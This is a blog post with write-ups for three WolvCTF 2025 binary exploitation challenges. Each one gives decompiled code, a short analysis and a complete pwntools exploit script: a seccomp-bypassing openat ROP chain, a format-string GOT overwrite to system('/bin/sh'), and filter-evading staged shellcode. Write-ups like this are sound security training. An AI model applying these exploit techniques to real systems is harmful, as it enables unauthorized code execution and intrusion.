Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

WolvCTF 2025 - PWN 본문

CTF

WolvCTF 2025 - PWN

pdw0412 2025. 3. 24. 22:46

- DryWall
- TakeNote
- LabGrwon
- VC1K
 

DryWall

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[264]; // [rsp+0h] [rbp-110h] BYREF
  __int64 v5; // [rsp+108h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v5 = seccomp_init(2147418112LL);
  seccomp_rule_add(v5, 0LL, 59LL, 0LL);
  seccomp_rule_add(v5, 0LL, 2LL, 0LL);
  seccomp_rule_add(v5, 0LL, 322LL, 0LL);
  seccomp_rule_add(v5, 0LL, 19LL, 0LL);
  seccomp_rule_add(v5, 0LL, 20LL, 0LL);
  seccomp_rule_add(v5, 0LL, 310LL, 0LL);
  seccomp_rule_add(v5, 0LL, 311LL, 0LL);
  seccomp_load(v5);
  puts("What is your name, epic H4x0r?");
  fgets(name, 30, stdin);
  printf("Good luck %s <|;)\n", name);
  printf("%p\n", main);
  fgets(s, 598, stdin);
  return 0;
}

 

$ seccomp-tools dump ./chal
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0b 0xc000003e  if (A != ARCH_X86_64) goto 0013
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x08 0xffffffff  if (A != 0xffffffff) goto 0013
 0005: 0x15 0x07 0x00 0x00000002  if (A == open) goto 0013
 0006: 0x15 0x06 0x00 0x00000013  if (A == readv) goto 0013
 0007: 0x15 0x05 0x00 0x00000014  if (A == writev) goto 0013
 0008: 0x15 0x04 0x00 0x0000003b  if (A == execve) goto 0013
 0009: 0x15 0x03 0x00 0x00000136  if (A == process_vm_readv) goto 0013
 0010: 0x15 0x02 0x00 0x00000137  if (A == process_vm_writev) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x00000000  return KILL

 
The open syscall is banned. Instead, you can use the openat syscall, so you can get the flag with orw ROP.
 
 

from pwn import *

log = lambda x : print(f'[*] {x} : {hex(eval(x))}')

#p=process('./chal')
p=remote('drywall.kctf-453514-codelab.kctf.cloud', 1337)

p.sendlineafter(b'H4x0r?\n', b'a')

p.recvuntil(b'0x')
pie_base=int(p.recvline()[:-1].decode(), 16)-0x00000000000011A3
log('pie_base')

pop_rax=pie_base+0x000000000000119b
pop_rdi=pie_base+0x00000000000013db
pop_rsi_r15=pie_base+0x00000000000013d9
pop_rdx=pie_base+0x0000000000001199
syscall=pie_base+0x000000000000119d

bss=pie_base+0x4800

payload=b'a'*0x110+p64(0)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rax)+p64(257)+p64(syscall)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(1)+p64(syscall)
p.sendline(payload)

sleep(0.5)
p.send(b'/home/user/flag.txt')

p.interactive()

 
 
 

TakeNote

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

 

if ( v0 == 1 )
    {
      printf("Which note do you want to write to? [0 - %d]\n", (unsigned int)(size - 1));
      __isoc99_scanf("%d", &idx);
      getchar();
      if ( idx < 0 || size <= idx )
      {
        puts("Nice try buddy *-*\n");
        exit(1);
      }
      fgets(src, 33, stdin);
      strncpy(&v4[16 * idx], src, 0x11uLL);
      v5[idx] = 1;
    }
    else
    {
      if ( v0 != 2 )
        break;
      puts("Which note do you want to print?\n");
      __isoc99_scanf("%d", &idx);
      getchar();
      if ( idx < 0 || size <= idx )
      {
        puts("Nice try buddy *-*\n");
        exit(1);
      }
      if ( !v5[idx] )
      {
        puts("You haven't written that note yet >:(\n");
        exit(1);
      }
      puts("Your note reads:\n");
      printf(&v4[16 * idx]);
    }

 
Format String Bug exists. So you can leak the pie base and libc base. By calling system("/bin/sh") through the GOT overwrite, you can get a shell. But, v4 is on heap arena, so you need to use double-stage FSB for GOT overwrite.
 
 

if ( v0 == 1 )
{
  printf("Which note do you want to write to? [0 - %d]\n", (unsigned int)(size - 1));
  __isoc99_scanf("%d", &idx);
  getchar();
  if ( idx < 0 || size <= idx )
  {
    puts("Nice try buddy *-*\n");
    exit(1);
  }
  fgets(src, 33, stdin); // <<---------------- rip
  strncpy(&v4[16 * idx], src, 0x11uLL);
  v5[idx] = 1;
}

 

 
The value of src is 0x61616161..... . If you write the GOT address to src, it can then be used by the fsb address.
 
 

from pwn import *

log = lambda x : print(f'[*] {x} : {hex(eval(x))}')

def INPUT(data) :
    data+=b'\x00'
    for i in range(len(data)//16+(len(data)%16!=0)) :
        p.sendlineafter(b'3. Exit\n\n', b'1')
        p.sendlineafter(b']\n', f'{i}'.encode())
        p.sendline(data[i*0x10:i*0x10+0x10])

#p=process('./chal')
p=remote('takenote.kctf-453514-codelab.kctf.cloud', 1337)
e=ELF('./chal')
l=ELF('./libc-2.31.so')

p.sendafter(b'write?\n\n', b'99')
payload=b'%1$p%16$p'
INPUT(payload)

p.sendlineafter(b'3. Exit\n\n', b'2')
p.sendlineafter(b'print?\n\n', b'0')
p.recvuntil(b'0x')
libc_base=int(p.recvn(12).decode(), 16)-0x1ed723
log('libc_base')
pie_base=int(p.recvn(14).decode(), 16)-0x10f0
log('pie_base')

got_printf=pie_base+e.got['printf']
system=libc_base+l.symbols['system']

payload=f'%{((system//0x10000)%0x100)}c%12$hhn%{(system%0x10000)-((system//0x10000)%0x100)}c%13$hn'.encode()
INPUT(payload)

p.sendlineafter(b'3. Exit\n\n', b'1')
p.sendlineafter(b']\n', b'98')
p.sendline(p64(got_printf+2)+p64(got_printf))

p.sendlineafter(b'3. Exit\n\n', b'2')
p.sendlineafter(b'print?\n\n', b'0')

p.sendlineafter(b'3. Exit\n\n', b'1')
sleep(0.1)
p.sendline(b'0')
sleep(0.1)
p.sendline(b'/bin/sh\x00')

p.sendlineafter(b'3. Exit\n\n', b'2')
p.sendlineafter(b'print?\n\n', b'0')

p.interactive()

 
 
 

LabGrown

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x3fe000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

 

void run()
{
  int v0; // [rsp+8h] [rbp-38h]
  int i; // [rsp+Ch] [rbp-34h]
  char s[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts(
    "You got new lab grown shells? I don't care for that organic garbage... If you don't got shells fresh of the condense"
    "r get outta my shop!");
  puts("What, Still here? Hand it over, that thing, your synthetic shell");
  memset(s, 144, 0x20uLL);
  fgets(s, 32, stdin);
  v0 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    if ( s[i] == 10 )
    {
      s[i] = -112;
      s[i + 1] = -112;
      v0 = i;
    }
  }
  check_shellcode((__int64)s, v0);
  s[30] = 15;
  s[31] = 5;
  __asm { jmp     rax }
}

 
After inputting the shellcode, syscall opcode(0F 05) will be added at the end, and it will be executed. This binary has NX disabled, so you can input shellcode that calls read(0, stack, nbase) using a syscall, and then input shellcode for execve("/bin/sh") to get a shell.
 

To craft the read(0, stack, nbase) shellcode, you need to set the registers like this:

rax = 0
rdi = 0
rsi = stack(rax or rdi or r8 or ....)
rdx = value(sufficiently large)

 
 
 

unsigned __int64 __fastcall check_shellcode(__int64 a1, int a2)
{
  int v3; // [rsp+1Ch] [rbp-24h]
  int i; // [rsp+20h] [rbp-20h]
  int j; // [rsp+24h] [rbp-1Ch]
  int k; // [rsp+28h] [rbp-18h]
  int m; // [rsp+2Ch] [rbp-14h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v3 = 0;
  for ( i = a2; i <= 31; ++i )
  {
    if ( *(_BYTE *)(i + a1) != 0x90 )
      v3 = 1;
  }
  for ( j = 0; j < a2 - 1; ++j )
  {
    if ( ((*(_BYTE *)(j + a1) ^ *(_BYTE *)(j + 1LL + a1)) & 1) == 0 )
      v3 = 1;
  }
  for ( k = 0; k < a2 - 1; ++k )
  {
    if ( (unsigned __int8)(*(_BYTE *)(k + a1) ^ *(_BYTE *)(k + 1LL + a1)) > 0xC0u )
      v3 = 1;
  }
  for ( m = 0; m < a2 - 2; ++m )
  {
    if ( (unsigned __int8)(*(_BYTE *)(m + a1) ^ *(_BYTE *)(m + 2LL + a1)) <= 0x1Fu )
      v3 = 1;
  }
  if ( v3 )
  {
    puts("You wouldn't cook on one of these... did you learn nothing from my chemistry class?");
    exit(1);
  }
  return __readfsqword(0x28u) ^ v8;
}

 
Shellcode filtering is very difficult. However, there is no easy way to write shellcode, and this is the key point of this wargame. Simply put, you need to keep checking the filtering and create the read() shellcode.
 
 

from pwn import *

context(arch='amd64', os='linux')

p=process('./chal')
#p=remote('labgrown.kctf-453514-codelab.kctf.cloud', 1337)
e=ELF('./chal')
l=ELF('./ld-2.31.so')

def check(data) :
    for i in range(len(data)-1) :
        if((data[i]^data[i+1])&1==0) : 
            print(f'{i} and {i+1} &1 is same')
            return False

        if((data[i]^data[i+1])>0xC0) :
            print(f'{i} and {i+1} : {hex(data[i])}^{hex(data[i+1])} {hex((data[i]^data[i+1]))}>0xC0')
            return False
            
        if(i!=len(data)-2 and (data[i]^data[i+2])<=0x1f) :
            print(f'{i} and {i+2} : {hex(data[i])}^{hex(data[i+2])} {((data[i]^data[i+2]))}<=0x1f')
            return False

    return True

def valid_next(data) :
    a=data[-2]
    b=data[-1]
    c_list=[]
    for c in range(0x100) :
        if((b^c)&1==0) : continue
        if((b^c)>0xC0) : continue
        if((a^c)<=0x1f) : continue
        c_list.append(str(hex(c))[2:])

    print(c_list)

payload=asm('''
mov dl, 0xf1
push rsi
push rdi
sub al, 0x1
pop rsi
stc
nop
mov bl, 0xb0
stc
pop rax
pop rcx
not bl
push rax
pop rdi
mul bl
nop
mov bl, 0x0
pop rcx
''')

print(payload.hex())
print(check(payload))
valid_next(payload)
p.sendline(payload)

p.sendline(b'\x90'*0x40+asm(shellcraft.execve('/bin/sh')))

p.interactive()

 
 
 

VC1K

I didn't solved it yet.

'CTF' 카테고리의 다른 글

PwnMe CTF 2025 - PWN  (0) 2025.03.09
EHAX CTF 2025  (0) 2025.02.17
CCE 2024 Quals | Pwn - Untrusted Compiler  (0) 2025.02.03
YISF 2024 Finals | Pwn - Happy SIGnal  (0) 2025.01.21
UofTCTF 2025 - Pwn (4/6)  (0) 2025.01.15